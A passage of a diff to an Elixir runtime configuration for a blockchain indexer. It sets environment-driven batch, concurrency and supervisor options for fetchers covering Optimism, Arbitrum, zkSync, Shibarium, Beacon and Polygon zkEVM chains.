+config :indexer, Indexer.Block.Realtime.Supervisor, + enabled: !ConfigHelper.parse_bool_env_var("DISABLE_REALTIME_INDEXER") + +config :indexer, Indexer.Block.Catchup.Supervisor, enabled: !ConfigHelper.parse_bool_env_var("DISABLE_CATCHUP_INDEXER") + +config :indexer, Indexer.Fetcher.ReplacedTransaction.Supervisor, + disabled?: ConfigHelper.parse_bool_env_var("INDEXER_DISABLE_REPLACED_TRANSACTION_FETCHER") + +config :indexer, Indexer.Fetcher.TokenInstance.Realtime.Supervisor, + disabled?: ConfigHelper.parse_bool_env_var("INDEXER_DISABLE_TOKEN_INSTANCE_REALTIME_FETCHER") -config :indexer, Indexer.Supervisor, enabled: System.get_env("DISABLE_INDEXER") != "true" +config :indexer, Indexer.Fetcher.TokenInstance.Retry.Supervisor, + disabled?: ConfigHelper.parse_bool_env_var("INDEXER_DISABLE_TOKEN_INSTANCE_RETRY_FETCHER") -config :indexer, Indexer.Block.Realtime.Supervisor, enabled: System.get_env("DISABLE_REALTIME_INDEXER") != "true" +config :indexer, Indexer.Fetcher.TokenInstance.Sanitize.Supervisor, + disabled?: ConfigHelper.parse_bool_env_var("INDEXER_DISABLE_TOKEN_INSTANCE_SANITIZE_FETCHER") + +config :indexer, Indexer.Fetcher.TokenInstance.Refetch.Supervisor, + disabled?: ConfigHelper.parse_bool_env_var("INDEXER_DISABLE_TOKEN_INSTANCE_REFETCH_FETCHER") + +config :indexer, Indexer.Fetcher.TokenInstance.SanitizeERC1155, + enabled: !ConfigHelper.parse_bool_env_var("INDEXER_DISABLE_TOKEN_INSTANCE_ERC_1155_SANITIZE_FETCHER", "false") + +config :indexer, Indexer.Fetcher.TokenInstance.SanitizeERC721, + enabled: !ConfigHelper.parse_bool_env_var("INDEXER_DISABLE_TOKEN_INSTANCE_ERC_721_SANITIZE_FETCHER", "false") + +config :indexer, Indexer.Fetcher.MultichainSearchDb.MainExportQueue.Supervisor, + disabled?: + ConfigHelper.parse_bool_env_var("INDEXER_DISABLE_MULTICHAIN_SEARCH_DB_EXPORT_MAIN_QUEUE_FETCHER") || + is_nil(microservice_multichain_search_url) + +config :indexer, Indexer.Fetcher.MultichainSearchDb.BalancesExportQueue.Supervisor, + disabled?: + ConfigHelper.parse_bool_env_var("INDEXER_DISABLE_MULTICHAIN_SEARCH_DB_EXPORT_BALANCES_QUEUE_FETCHER") || + is_nil(microservice_multichain_search_url) + +config :indexer, Indexer.Fetcher.MultichainSearchDb.TokenInfoExportQueue.Supervisor, + disabled?: + ConfigHelper.parse_bool_env_var("INDEXER_DISABLE_MULTICHAIN_SEARCH_DB_EXPORT_TOKEN_INFO_QUEUE_FETCHER") || + is_nil(microservice_multichain_search_url) + +config :indexer, Indexer.Fetcher.MultichainSearchDb.CountersExportQueue.Supervisor, + disabled?: + disable_multichain_search_db_export_counters_queue_fetcher || + is_nil(microservice_multichain_search_url) || + !transactions_stats_enabled + +config :indexer, Indexer.Fetcher.MultichainSearchDb.CountersFetcher.Supervisor, + disabled?: + disable_multichain_search_db_export_counters_queue_fetcher || + is_nil(microservice_multichain_search_url) || + !transactions_stats_enabled + +config :indexer, Indexer.Fetcher.EmptyBlocksSanitizer, + batch_size: ConfigHelper.parse_integer_env_var("INDEXER_EMPTY_BLOCKS_SANITIZER_BATCH_SIZE", 10), + interval: ConfigHelper.parse_time_env_var("INDEXER_EMPTY_BLOCKS_SANITIZER_INTERVAL", "10s") + +config :indexer, Indexer.Block.Realtime.Fetcher, + max_gap: ConfigHelper.parse_integer_env_var("INDEXER_REALTIME_FETCHER_MAX_GAP", 1_000), + polling_period: ConfigHelper.parse_time_env_var("INDEXER_REALTIME_FETCHER_POLLING_PERIOD") + +config :indexer, Indexer.Block.Catchup.MissingRangesCollector, + batch_size: ConfigHelper.parse_integer_env_var("INDEXER_CATCHUP_MISSING_RANGES_BATCH_SIZE", 100_000) + +config :indexer, Indexer.Block.Catchup.Fetcher, + batch_size: ConfigHelper.parse_integer_env_var("INDEXER_CATCHUP_BLOCKS_BATCH_SIZE", 10), + concurrency: ConfigHelper.parse_integer_env_var("INDEXER_CATCHUP_BLOCKS_CONCURRENCY", 10) + +config :indexer, Indexer.Fetcher.BlockReward, + batch_size: ConfigHelper.parse_integer_env_var("INDEXER_BLOCK_REWARD_BATCH_SIZE", 10), + concurrency: ConfigHelper.parse_integer_env_var("INDEXER_BLOCK_REWARD_CONCURRENCY", 4) + +config :indexer, Indexer.Fetcher.TokenInstance.Helper, + base_uri_retry?: ConfigHelper.parse_bool_env_var("INDEXER_TOKEN_INSTANCE_USE_BASE_URI_RETRY"), + cidr_blacklist: ConfigHelper.parse_list_env_var("INDEXER_TOKEN_INSTANCE_CIDR_BLACKLIST", ""), + host_filtering_enabled?: ConfigHelper.parse_bool_env_var("INDEXER_TOKEN_INSTANCE_HOST_FILTERING_ENABLED", "true"), + allowed_uri_protocols: ConfigHelper.parse_list_env_var("INDEXER_TOKEN_INSTANCE_ALLOWED_URI_PROTOCOLS", "http,https") + +config :indexer, Indexer.Fetcher.TokenInstance.Retry, + concurrency: ConfigHelper.parse_integer_env_var("INDEXER_TOKEN_INSTANCE_RETRY_CONCURRENCY", 10), + batch_size: ConfigHelper.parse_integer_env_var("INDEXER_TOKEN_INSTANCE_RETRY_BATCH_SIZE", 10), + max_refetch_interval: ConfigHelper.parse_time_env_var("INDEXER_TOKEN_INSTANCE_RETRY_MAX_REFETCH_INTERVAL", "168h"), + exp_timeout_base: ConfigHelper.parse_integer_env_var("INDEXER_TOKEN_INSTANCE_RETRY_EXPONENTIAL_TIMEOUT_BASE", 2), + exp_timeout_coeff: ConfigHelper.parse_integer_env_var("INDEXER_TOKEN_INSTANCE_RETRY_EXPONENTIAL_TIMEOUT_COEFF", 100) + +config :indexer, Indexer.Fetcher.TokenInstance.Realtime, + concurrency: ConfigHelper.parse_integer_env_var("INDEXER_TOKEN_INSTANCE_REALTIME_CONCURRENCY", 10), + batch_size: ConfigHelper.parse_integer_env_var("INDEXER_TOKEN_INSTANCE_REALTIME_BATCH_SIZE", 1), + retry_with_cooldown?: ConfigHelper.parse_bool_env_var("INDEXER_TOKEN_INSTANCE_REALTIME_RETRY_ENABLED"), + retry_timeout: ConfigHelper.parse_time_env_var("INDEXER_TOKEN_INSTANCE_REALTIME_RETRY_TIMEOUT", "5s") + +config :indexer, Indexer.Fetcher.TokenInstance.Sanitize, + concurrency: ConfigHelper.parse_integer_env_var("INDEXER_TOKEN_INSTANCE_SANITIZE_CONCURRENCY", 10), + batch_size: ConfigHelper.parse_integer_env_var("INDEXER_TOKEN_INSTANCE_SANITIZE_BATCH_SIZE", 10) + +config :indexer, Indexer.Fetcher.TokenInstance.Refetch, + concurrency: ConfigHelper.parse_integer_env_var("INDEXER_TOKEN_INSTANCE_REFETCH_CONCURRENCY", 10), + batch_size: ConfigHelper.parse_integer_env_var("INDEXER_TOKEN_INSTANCE_REFETCH_BATCH_SIZE", 10) + +config :indexer, Indexer.Fetcher.TokenInstance.SanitizeERC1155, + concurrency: ConfigHelper.parse_integer_env_var("MIGRATION_TOKEN_INSTANCE_ERC_1155_SANITIZE_CONCURRENCY", 1), + batch_size: ConfigHelper.parse_integer_env_var("MIGRATION_TOKEN_INSTANCE_ERC_1155_SANITIZE_BATCH_SIZE", 500) + +config :indexer, Indexer.Fetcher.TokenInstance.SanitizeERC721, + concurrency: ConfigHelper.parse_integer_env_var("MIGRATION_TOKEN_INSTANCE_ERC_721_SANITIZE_CONCURRENCY", 2), + batch_size: ConfigHelper.parse_integer_env_var("MIGRATION_TOKEN_INSTANCE_ERC_721_SANITIZE_BATCH_SIZE", 50), + tokens_queue_size: + ConfigHelper.parse_integer_env_var("MIGRATION_TOKEN_INSTANCE_ERC_721_SANITIZE_TOKENS_BATCH_SIZE", 100) + +config :indexer, Indexer.Fetcher.InternalTransaction, + batch_size: ConfigHelper.parse_integer_env_var("INDEXER_INTERNAL_TRANSACTIONS_BATCH_SIZE", 10), + concurrency: ConfigHelper.parse_integer_env_var("INDEXER_INTERNAL_TRANSACTIONS_CONCURRENCY", 4), + indexing_finished_threshold: + ConfigHelper.parse_integer_env_var("API_INTERNAL_TRANSACTIONS_INDEXING_FINISHED_THRESHOLD", 1_000) + +coin_balances_batch_size = ConfigHelper.parse_integer_env_var("INDEXER_COIN_BALANCES_BATCH_SIZE", 100) +coin_balances_concurrency = ConfigHelper.parse_integer_env_var("INDEXER_COIN_BALANCES_CONCURRENCY", 4) + +config :indexer, Indexer.Fetcher.CoinBalance.Catchup, + batch_size: coin_balances_batch_size, + concurrency: coin_balances_concurrency + +config :indexer, Indexer.Fetcher.CoinBalance.Realtime, + batch_size: coin_balances_batch_size, + concurrency: coin_balances_concurrency + +config :indexer, Indexer.Migrator.RecoveryWETHTokenTransfers, + concurrency: ConfigHelper.parse_integer_env_var("MIGRATION_RECOVERY_WETH_TOKEN_TRANSFERS_CONCURRENCY", 5), + batch_size: ConfigHelper.parse_integer_env_var("MIGRATION_RECOVERY_WETH_TOKEN_TRANSFERS_BATCH_SIZE", 50), + timeout: ConfigHelper.parse_time_env_var("MIGRATION_RECOVERY_WETH_TOKEN_TRANSFERS_TIMEOUT", "0s"), + blocks_batch_size: + ConfigHelper.parse_integer_env_var("MIGRATION_RECOVERY_WETH_TOKEN_TRANSFERS_BLOCKS_BATCH_SIZE", 100_000), + high_verbosity: ConfigHelper.parse_bool_env_var("MIGRATION_RECOVERY_WETH_TOKEN_TRANSFERS_HIGH_VERBOSITY", "true") + +config :indexer, Indexer.Fetcher.MultichainSearchDb.MainExportQueue, + concurrency: ConfigHelper.parse_integer_env_var("INDEXER_MULTICHAIN_SEARCH_DB_EXPORT_MAIN_QUEUE_CONCURRENCY", 10), + batch_size: ConfigHelper.parse_integer_env_var("INDEXER_MULTICHAIN_SEARCH_DB_EXPORT_MAIN_QUEUE_BATCH_SIZE", 3_000), + enqueue_busy_waiting_timeout: + ConfigHelper.parse_time_env_var( + "INDEXER_MULTICHAIN_SEARCH_DB_EXPORT_MAIN_QUEUE_ENQUEUE_BUSY_WAITING_TIMEOUT", + "1s" + ), + max_queue_size: + ConfigHelper.parse_integer_env_var("INDEXER_MULTICHAIN_SEARCH_DB_EXPORT_MAIN_QUEUE_MAX_QUEUE_SIZE", 3_000), + init_limit: + ConfigHelper.parse_integer_env_var("INDEXER_MULTICHAIN_SEARCH_DB_EXPORT_MAIN_QUEUE_INIT_QUERY_LIMIT", 3_000) + +config :indexer, Indexer.Fetcher.MultichainSearchDb.BalancesExportQueue, + concurrency: ConfigHelper.parse_integer_env_var("INDEXER_MULTICHAIN_SEARCH_DB_EXPORT_BALANCES_QUEUE_CONCURRENCY", 10), + batch_size: + ConfigHelper.parse_integer_env_var("INDEXER_MULTICHAIN_SEARCH_DB_EXPORT_BALANCES_QUEUE_BATCH_SIZE", 3_000), + enqueue_busy_waiting_timeout: + ConfigHelper.parse_time_env_var( + "INDEXER_MULTICHAIN_SEARCH_DB_EXPORT_BALANCES_QUEUE_ENQUEUE_BUSY_WAITING_TIMEOUT", + "1s" + ), + max_queue_size: + ConfigHelper.parse_integer_env_var( + "INDEXER_MULTICHAIN_SEARCH_DB_EXPORT_BALANCES_QUEUE_MAX_QUEUE_SIZE", + 3_000 + ), + init_limit: + ConfigHelper.parse_integer_env_var("INDEXER_MULTICHAIN_SEARCH_DB_EXPORT_BALANCES_QUEUE_INIT_QUERY_LIMIT", 3_000) + +config :indexer, Indexer.Fetcher.MultichainSearchDb.TokenInfoExportQueue, + concurrency: + ConfigHelper.parse_integer_env_var("INDEXER_MULTICHAIN_SEARCH_DB_EXPORT_TOKEN_INFO_QUEUE_CONCURRENCY", 10), + batch_size: + ConfigHelper.parse_integer_env_var("INDEXER_MULTICHAIN_SEARCH_DB_EXPORT_TOKEN_INFO_QUEUE_BATCH_SIZE", 1_000), + enqueue_busy_waiting_timeout: + ConfigHelper.parse_time_env_var( + "INDEXER_MULTICHAIN_SEARCH_DB_EXPORT_TOKEN_INFO_QUEUE_ENQUEUE_BUSY_WAITING_TIMEOUT", + "1s" + ), + max_queue_size: + ConfigHelper.parse_integer_env_var("INDEXER_MULTICHAIN_SEARCH_DB_EXPORT_TOKEN_INFO_QUEUE_MAX_QUEUE_SIZE", 1_000), + init_limit: + ConfigHelper.parse_integer_env_var("INDEXER_MULTICHAIN_SEARCH_DB_EXPORT_TOKEN_INFO_QUEUE_INIT_QUERY_LIMIT", 1_000) + +config :indexer, Indexer.Fetcher.MultichainSearchDb.CountersExportQueue, + concurrency: ConfigHelper.parse_integer_env_var("INDEXER_MULTICHAIN_SEARCH_DB_EXPORT_COUNTERS_QUEUE_CONCURRENCY", 10), + batch_size: + ConfigHelper.parse_integer_env_var("INDEXER_MULTICHAIN_SEARCH_DB_EXPORT_COUNTERS_QUEUE_BATCH_SIZE", 1_000), + enqueue_busy_waiting_timeout: + ConfigHelper.parse_time_env_var( + "INDEXER_MULTICHAIN_SEARCH_DB_EXPORT_COUNTERS_QUEUE_ENQUEUE_BUSY_WAITING_TIMEOUT", + "1s" + ), + max_queue_size: + ConfigHelper.parse_integer_env_var("INDEXER_MULTICHAIN_SEARCH_DB_EXPORT_COUNTERS_QUEUE_MAX_QUEUE_SIZE", 1_000), + init_limit: + ConfigHelper.parse_integer_env_var("INDEXER_MULTICHAIN_SEARCH_DB_EXPORT_COUNTERS_QUEUE_INIT_QUERY_LIMIT", 1_000) + +config :indexer, Indexer.Fetcher.SignedAuthorizationStatus, + batch_size: ConfigHelper.parse_integer_env_var("INDEXER_SIGNED_AUTHORIZATION_STATUS_BATCH_SIZE", 10) + +config :indexer, Indexer.Fetcher.Optimism.TransactionBatch.Supervisor, enabled: ConfigHelper.chain_type() == :optimism +config :indexer, Indexer.Fetcher.Optimism.OutputRoot.Supervisor, enabled: ConfigHelper.chain_type() == :optimism +config :indexer, Indexer.Fetcher.Optimism.DisputeGame.Supervisor, enabled: ConfigHelper.chain_type() == :optimism +config :indexer, Indexer.Fetcher.Optimism.Deposit.Supervisor, enabled: ConfigHelper.chain_type() == :optimism +config :indexer, Indexer.Fetcher.Optimism.Withdrawal.Supervisor, enabled: ConfigHelper.chain_type() == :optimism +config :indexer, Indexer.Fetcher.Optimism.WithdrawalEvent.Supervisor, enabled: ConfigHelper.chain_type() == :optimism + +config :indexer, Indexer.Fetcher.Optimism.EIP1559ConfigUpdate.Supervisor, + disabled?: ConfigHelper.chain_type() != :optimism + +config :indexer, Indexer.Fetcher.Optimism.Interop.Message.Supervisor, disabled?: ConfigHelper.chain_type() != :optimism + +config :indexer, Indexer.Fetcher.Optimism.Interop.MessageFailed.Supervisor, + disabled?: ConfigHelper.chain_type() != :optimism + +config :indexer, Indexer.Fetcher.Optimism.Interop.MessageQueue.Supervisor, + disabled?: ConfigHelper.chain_type() != :optimism + +config :indexer, Indexer.Fetcher.Optimism.Interop.MultichainExport.Supervisor, + disabled?: + ConfigHelper.chain_type() != :optimism || + ConfigHelper.parse_bool_env_var("INDEXER_DISABLE_OPTIMISM_INTEROP_MULTICHAIN_EXPORT", "true") + +config :indexer, Indexer.Fetcher.Optimism, + optimism_l1_rpc: System.get_env("INDEXER_OPTIMISM_L1_RPC"), + optimism_l1_system_config: System.get_env("INDEXER_OPTIMISM_L1_SYSTEM_CONFIG_CONTRACT"), + l1_eth_get_logs_range_size: ConfigHelper.parse_integer_env_var("INDEXER_OPTIMISM_L1_ETH_GET_LOGS_RANGE_SIZE", 250), + l2_eth_get_logs_range_size: ConfigHelper.parse_integer_env_var("INDEXER_OPTIMISM_L2_ETH_GET_LOGS_RANGE_SIZE", 250), + block_duration: ConfigHelper.parse_integer_env_var("INDEXER_OPTIMISM_BLOCK_DURATION", 2), + start_block_l1: ConfigHelper.parse_integer_or_nil_env_var("INDEXER_OPTIMISM_L1_START_BLOCK"), + portal: System.get_env("INDEXER_OPTIMISM_L1_PORTAL_CONTRACT") + +config :indexer, Indexer.Fetcher.Optimism.Deposit, + transaction_type: ConfigHelper.parse_integer_env_var("INDEXER_OPTIMISM_L1_DEPOSITS_TRANSACTION_TYPE", 126) + +config :indexer, Indexer.Fetcher.Optimism.OutputRoot, + output_oracle: System.get_env("INDEXER_OPTIMISM_L1_OUTPUT_ORACLE_CONTRACT") + +config :indexer, Indexer.Fetcher.Optimism.Withdrawal, + start_block_l2: System.get_env("INDEXER_OPTIMISM_L2_WITHDRAWALS_START_BLOCK", "1"), + message_passer: + System.get_env("INDEXER_OPTIMISM_L2_MESSAGE_PASSER_CONTRACT", "0x4200000000000000000000000000000000000016") + +config :indexer, Indexer.Fetcher.Optimism.TransactionBatch, + blocks_chunk_size: System.get_env("INDEXER_OPTIMISM_L1_BATCH_BLOCKS_CHUNK_SIZE", "4"), + eip4844_blobs_api_url: System.get_env("INDEXER_OPTIMISM_L1_BATCH_BLOCKSCOUT_BLOBS_API_URL", ""), + celestia_blobs_api_url: System.get_env("INDEXER_OPTIMISM_L1_BATCH_CELESTIA_BLOBS_API_URL", ""), + genesis_block_l2: ConfigHelper.parse_integer_or_nil_env_var("INDEXER_OPTIMISM_L2_BATCH_GENESIS_BLOCK_NUMBER"), + inbox: System.get_env("INDEXER_OPTIMISM_L1_BATCH_INBOX"), + submitter: System.get_env("INDEXER_OPTIMISM_L1_BATCH_SUBMITTER") + +config :indexer, Indexer.Fetcher.Optimism.EIP1559ConfigUpdate, + chunk_size: ConfigHelper.parse_integer_env_var("INDEXER_OPTIMISM_L2_HOLOCENE_BLOCKS_CHUNK_SIZE", 25), + holocene_timestamp_l2: ConfigHelper.parse_integer_or_nil_env_var("INDEXER_OPTIMISM_L2_HOLOCENE_TIMESTAMP") + +config :indexer, Indexer.Fetcher.Optimism.Interop.Message, + start_block: ConfigHelper.parse_integer_or_nil_env_var("INDEXER_OPTIMISM_L2_INTEROP_START_BLOCK"), + blocks_chunk_size: ConfigHelper.parse_integer_env_var("INDEXER_OPTIMISM_L2_INTEROP_BLOCKS_CHUNK_SIZE", 4) + +config :indexer, Indexer.Fetcher.Optimism.Interop.MessageQueue, + chainscout_api_url: ConfigHelper.parse_url_env_var("INDEXER_OPTIMISM_CHAINSCOUT_API_URL", nil, true), + chainscout_fallback_map: ConfigHelper.parse_json_env_var("INDEXER_OPTIMISM_CHAINSCOUT_FALLBACK_MAP"), + private_key: System.get_env("INDEXER_OPTIMISM_INTEROP_PRIVATE_KEY", ""), + connect_timeout: ConfigHelper.parse_integer_env_var("INDEXER_OPTIMISM_INTEROP_CONNECT_TIMEOUT", 8), + recv_timeout: ConfigHelper.parse_integer_env_var("INDEXER_OPTIMISM_INTEROP_RECV_TIMEOUT", 10), + export_expiration: ConfigHelper.parse_integer_env_var("INDEXER_OPTIMISM_INTEROP_EXPORT_EXPIRATION_DAYS", 10) + +config :indexer, Indexer.Fetcher.Optimism.Interop.MultichainExport, + batch_size: ConfigHelper.parse_integer_env_var("INDEXER_OPTIMISM_MULTICHAIN_BATCH_SIZE", 100) + +config :indexer, Indexer.Fetcher.Withdrawal.Supervisor, + disabled?: System.get_env("INDEXER_DISABLE_WITHDRAWALS_FETCHER", "true") == "true" + +config :indexer, Indexer.Fetcher.Withdrawal, first_block: System.get_env("WITHDRAWALS_FIRST_BLOCK") + +config :indexer, Indexer.Fetcher.ZkSync.TransactionBatch, + chunk_size: ConfigHelper.parse_integer_env_var("INDEXER_ZKSYNC_BATCHES_CHUNK_SIZE", 50), + batches_max_range: ConfigHelper.parse_integer_env_var("INDEXER_ZKSYNC_NEW_BATCHES_MAX_RANGE", 50), + recheck_interval: ConfigHelper.parse_integer_env_var("INDEXER_ZKSYNC_NEW_BATCHES_RECHECK_INTERVAL", 60) + +config :indexer, Indexer.Fetcher.ZkSync.TransactionBatch.Supervisor, + enabled: ConfigHelper.parse_bool_env_var("INDEXER_ZKSYNC_BATCHES_ENABLED") + +config :indexer, Indexer.Fetcher.ZkSync.BatchesStatusTracker, + zksync_l1_rpc: System.get_env("INDEXER_ZKSYNC_L1_RPC"), + recheck_interval: ConfigHelper.parse_integer_env_var("INDEXER_ZKSYNC_BATCHES_STATUS_RECHECK_INTERVAL", 60) + +config :indexer, Indexer.Fetcher.ZkSync.BatchesStatusTracker.Supervisor, + enabled: ConfigHelper.parse_bool_env_var("INDEXER_ZKSYNC_BATCHES_ENABLED") + +config :indexer, Indexer.Fetcher.Arbitrum.Messaging, + arbsys_contract: + ConfigHelper.safe_get_env("INDEXER_ARBITRUM_ARBSYS_CONTRACT", "0x0000000000000000000000000000000000000064") + +config :indexer, Indexer.Fetcher.Arbitrum, + l1_rpc: System.get_env("INDEXER_ARBITRUM_L1_RPC"), + l1_rpc_chunk_size: ConfigHelper.parse_integer_env_var("INDEXER_ARBITRUM_L1_RPC_CHUNK_SIZE", 20), + l1_rpc_block_range: ConfigHelper.parse_integer_env_var("INDEXER_ARBITRUM_L1_RPC_HISTORICAL_BLOCKS_RANGE", 1_000), + l1_rollup_address: System.get_env("INDEXER_ARBITRUM_L1_ROLLUP_CONTRACT"), + l1_rollup_init_block: ConfigHelper.parse_integer_env_var("INDEXER_ARBITRUM_L1_ROLLUP_INIT_BLOCK", 1), + l1_start_block: ConfigHelper.parse_integer_env_var("INDEXER_ARBITRUM_L1_COMMON_START_BLOCK", 0), + l1_finalization_threshold: ConfigHelper.parse_integer_env_var("INDEXER_ARBITRUM_L1_FINALIZATION_THRESHOLD", 1_000), + rollup_chunk_size: ConfigHelper.parse_integer_env_var("INDEXER_ARBITRUM_ROLLUP_CHUNK_SIZE", 20) + +config :indexer, Indexer.Fetcher.Arbitrum.TrackingMessagesOnL1, + recheck_interval: ConfigHelper.parse_time_env_var("INDEXER_ARBITRUM_TRACKING_MESSAGES_ON_L1_RECHECK_INTERVAL", "20s") + +config :indexer, Indexer.Fetcher.Arbitrum.TrackingMessagesOnL1.Supervisor, + enabled: ConfigHelper.parse_bool_env_var("INDEXER_ARBITRUM_BRIDGE_MESSAGES_TRACKING_ENABLED") + +config :indexer, Indexer.Fetcher.Arbitrum.TrackingBatchesStatuses, + recheck_interval: ConfigHelper.parse_time_env_var("INDEXER_ARBITRUM_BATCHES_TRACKING_RECHECK_INTERVAL", "20s"), + track_l1_transaction_finalization: + ConfigHelper.parse_bool_env_var("INDEXER_ARBITRUM_BATCHES_TRACKING_L1_FINALIZATION_CHECK_ENABLED", "false"), + messages_to_blocks_shift: + ConfigHelper.parse_integer_env_var("INDEXER_ARBITRUM_BATCHES_TRACKING_MESSAGES_TO_BLOCKS_SHIFT", 0), + finalized_confirmations: ConfigHelper.parse_bool_env_var("INDEXER_ARBITRUM_CONFIRMATIONS_TRACKING_FINALIZED", "true"), + new_batches_limit: ConfigHelper.parse_integer_env_var("INDEXER_ARBITRUM_NEW_BATCHES_LIMIT", 10), + node_interface_contract: + ConfigHelper.safe_get_env("INDEXER_ARBITRUM_NODE_INTERFACE_CONTRACT", "0x00000000000000000000000000000000000000C8"), + missing_batches_range: ConfigHelper.parse_integer_env_var("INDEXER_ARBITRUM_MISSING_BATCHES_RANGE", 10_000), + failure_interval_threshold: + ConfigHelper.parse_time_env_var("INDEXER_ARBITRUM_BATCHES_TRACKING_FAILURE_THRESHOLD", "10m") + +config :indexer, Indexer.Fetcher.Arbitrum.TrackingBatchesStatuses.Supervisor, + enabled: ConfigHelper.parse_bool_env_var("INDEXER_ARBITRUM_BATCHES_TRACKING_ENABLED") + +config :indexer, Indexer.Fetcher.Arbitrum.RollupMessagesCatchup, + recheck_interval: ConfigHelper.parse_time_env_var("INDEXER_ARBITRUM_MISSED_MESSAGES_RECHECK_INTERVAL", "1h"), + missed_messages_blocks_depth: + ConfigHelper.parse_integer_env_var("INDEXER_ARBITRUM_MISSED_MESSAGES_BLOCKS_DEPTH", 10_000) + +config :indexer, Indexer.Fetcher.Arbitrum.RollupMessagesCatchup.Supervisor, + enabled: ConfigHelper.parse_bool_env_var("INDEXER_ARBITRUM_BRIDGE_MESSAGES_TRACKING_ENABLED") + +config :indexer, Indexer.Fetcher.Arbitrum.MessagesToL2Matcher.Supervisor, + disabled?: not ConfigHelper.parse_bool_env_var("INDEXER_ARBITRUM_BRIDGE_MESSAGES_TRACKING_ENABLED") + +config :indexer, Indexer.Fetcher.Arbitrum.DataBackfill, + recheck_interval: + ConfigHelper.parse_time_env_var("INDEXER_ARBITRUM_DATA_BACKFILL_UNINDEXED_BLOCKS_RECHECK_INTERVAL", "120s"), + backfill_blocks_depth: ConfigHelper.parse_integer_env_var("INDEXER_ARBITRUM_DATA_BACKFILL_BLOCKS_DEPTH", 500) + +config :indexer, Indexer.Fetcher.Arbitrum.DataBackfill.Supervisor, + disabled?: + ConfigHelper.chain_type() != :arbitrum || + not ConfigHelper.parse_bool_env_var("INDEXER_ARBITRUM_DATA_BACKFILL_ENABLED") + +config :indexer, Indexer.Fetcher.RootstockData.Supervisor, + disabled?: + ConfigHelper.chain_type() != :rsk || ConfigHelper.parse_bool_env_var("INDEXER_DISABLE_ROOTSTOCK_DATA_FETCHER") + +config :indexer, Indexer.Fetcher.RootstockData, + interval: ConfigHelper.parse_time_env_var("INDEXER_ROOTSTOCK_DATA_FETCHER_INTERVAL", "3s"), + batch_size: ConfigHelper.parse_integer_env_var("INDEXER_ROOTSTOCK_DATA_FETCHER_BATCH_SIZE", 10), + max_concurrency: ConfigHelper.parse_integer_env_var("INDEXER_ROOTSTOCK_DATA_FETCHER_CONCURRENCY", 5), + db_batch_size: ConfigHelper.parse_integer_env_var("INDEXER_ROOTSTOCK_DATA_FETCHER_DB_BATCH_SIZE", 300) + +config :indexer, Indexer.Fetcher.Beacon, beacon_rpc: System.get_env("INDEXER_BEACON_RPC_URL") || "http://localhost:5052" + +config :indexer, Indexer.Fetcher.Beacon.Blob.Supervisor, + disabled?: + ConfigHelper.chain_type() != :ethereum || + ConfigHelper.parse_bool_env_var("INDEXER_DISABLE_BEACON_BLOB_FETCHER") + +config :indexer, Indexer.Fetcher.Beacon.Blob, + slot_duration: ConfigHelper.parse_integer_env_var("INDEXER_BEACON_BLOB_FETCHER_SLOT_DURATION", 12), + reference_slot: ConfigHelper.parse_integer_env_var("INDEXER_BEACON_BLOB_FETCHER_REFERENCE_SLOT", 8_000_000), + reference_timestamp: + ConfigHelper.parse_integer_env_var("INDEXER_BEACON_BLOB_FETCHER_REFERENCE_TIMESTAMP", 1_702_824_023), + start_block: ConfigHelper.parse_integer_env_var("INDEXER_BEACON_BLOB_FETCHER_START_BLOCK", 19_200_000), + end_block: ConfigHelper.parse_integer_env_var("INDEXER_BEACON_BLOB_FETCHER_END_BLOCK", 0) + +config :indexer, Indexer.Fetcher.Beacon.Deposit.Supervisor, + disabled?: + ConfigHelper.chain_type() != :ethereum || + ConfigHelper.parse_bool_env_var("INDEXER_DISABLE_BEACON_DEPOSIT_FETCHER") + +config :indexer, Indexer.Fetcher.Beacon.Deposit, + interval: ConfigHelper.parse_time_env_var("INDEXER_BEACON_DEPOSIT_FETCHER_INTERVAL", "6s"), + batch_size: ConfigHelper.parse_integer_env_var("INDEXER_BEACON_DEPOSIT_FETCHER_BATCH_SIZE", 1_000) + +config :indexer, Indexer.Fetcher.Beacon.Deposit.Status.Supervisor, + disabled?: + ConfigHelper.chain_type() != :ethereum || + ConfigHelper.parse_bool_env_var("INDEXER_DISABLE_BEACON_DEPOSIT_STATUS_FETCHER") + +config :indexer, Indexer.Fetcher.Beacon.Deposit.Status, + epoch_duration: ConfigHelper.parse_integer_env_var("INDEXER_BEACON_DEPOSIT_STATUS_FETCHER_EPOCH_DURATION", 384), + reference_timestamp: + ConfigHelper.parse_integer_env_var("INDEXER_BEACON_DEPOSIT_STATUS_FETCHER_REFERENCE_TIMESTAMP", 1_722_024_023) + +config :indexer, Indexer.Fetcher.Shibarium.L1, + rpc: System.get_env("INDEXER_SHIBARIUM_L1_RPC"), + start_block: System.get_env("INDEXER_SHIBARIUM_L1_START_BLOCK"), + deposit_manager_proxy: System.get_env("INDEXER_SHIBARIUM_L1_DEPOSIT_MANAGER_CONTRACT"), + ether_predicate_proxy: System.get_env("INDEXER_SHIBARIUM_L1_ETHER_PREDICATE_CONTRACT"), + erc20_predicate_proxy: System.get_env("INDEXER_SHIBARIUM_L1_ERC20_PREDICATE_CONTRACT"), + erc721_predicate_proxy: System.get_env("INDEXER_SHIBARIUM_L1_ERC721_PREDICATE_CONTRACT"), + erc1155_predicate_proxy: System.get_env("INDEXER_SHIBARIUM_L1_ERC1155_PREDICATE_CONTRACT"), + withdraw_manager_proxy: System.get_env("INDEXER_SHIBARIUM_L1_WITHDRAW_MANAGER_CONTRACT") + +config :indexer, Indexer.Fetcher.Shibarium.L2, + start_block: System.get_env("INDEXER_SHIBARIUM_L2_START_BLOCK"), + child_chain: System.get_env("INDEXER_SHIBARIUM_L2_CHILD_CHAIN_CONTRACT"), + weth: System.get_env("INDEXER_SHIBARIUM_L2_WETH_CONTRACT"), + bone_withdraw: System.get_env("INDEXER_SHIBARIUM_L2_BONE_WITHDRAW_CONTRACT") + +config :indexer, Indexer.Fetcher.Shibarium.L1.Supervisor, enabled: ConfigHelper.chain_type() == :shibarium + +config :indexer, Indexer.Fetcher.Shibarium.L2.Supervisor, enabled: ConfigHelper.chain_type() == :shibarium + +config :indexer, Indexer.Fetcher.PolygonZkevm.BridgeL1, + rpc: System.get_env("INDEXER_POLYGON_ZKEVM_L1_RPC"), + start_block: System.get_env("INDEXER_POLYGON_ZKEVM_L1_BRIDGE_START_BLOCK"), + bridge_contract: System.get_env("INDEXER_POLYGON_ZKEVM_L1_BRIDGE_CONTRACT"), + native_symbol: System.get_env("INDEXER_POLYGON_ZKEVM_L1_BRIDGE_NATIVE_SYMBOL", "ETH"), + native_decimals: 